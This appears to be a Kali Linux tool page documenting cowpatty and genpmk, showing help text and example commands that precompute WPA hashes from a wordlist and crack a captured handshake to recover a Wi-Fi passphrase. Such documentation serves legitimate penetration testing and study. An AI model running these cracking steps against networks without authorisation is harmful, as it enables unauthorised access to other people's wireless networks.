root@kali:~# cowpatty -h cowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com> Usage: cowpatty [options] -f Dictionary file -d Hash file (genpmk) -r Packet capture file -s Network SSID (enclose in quotes if SSID includes spaces) -c Check for valid 4-way frames, does not crack -h Print this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit
root@kali:~# genpmk -h genpmk 1.3 - WPA-PSK precomputation attack. <jwright@hasborg.com> Usage: genpmk [options] -f Dictionary file -d Output hash file -s Network SSID -h Print this help information and exit -v Print verbose information (more -v for more verbosity) -V Print program version and exit After precomputing the hash file, run cowpatty with the -d argument.
genpmk Usage Example
root@kali:~# genpmk -f /usr/share/wordlists/nmap.lst -d cowpatty_dict -s securenet genpmk 1.3 - WPA-PSK precomputation attack. \<jwright@hasborg.com\> File cowpatty_dict does not exist, creating. key no. 1000: pinkgirl 1641 passphrases tested in 3.60 seconds: 456.00 passphrases/second
cowpatty Usage Example
root@kali:~# cowpatty -d cowpatty_dict -r Kismet-20181113-13-37-00-1.pcapdump -s 6F36E6 cowpatty 4.8 - WPA-PSK dictionary attack. <jwright@hasborg.com> Collected all necessary data to mount crack against WPA2/PSK passphrase. Starting dictionary attack. Please be patient. The PSK is "12345678". 5 passphrases tested in 0.00 seconds: 50000.00 passphrases/second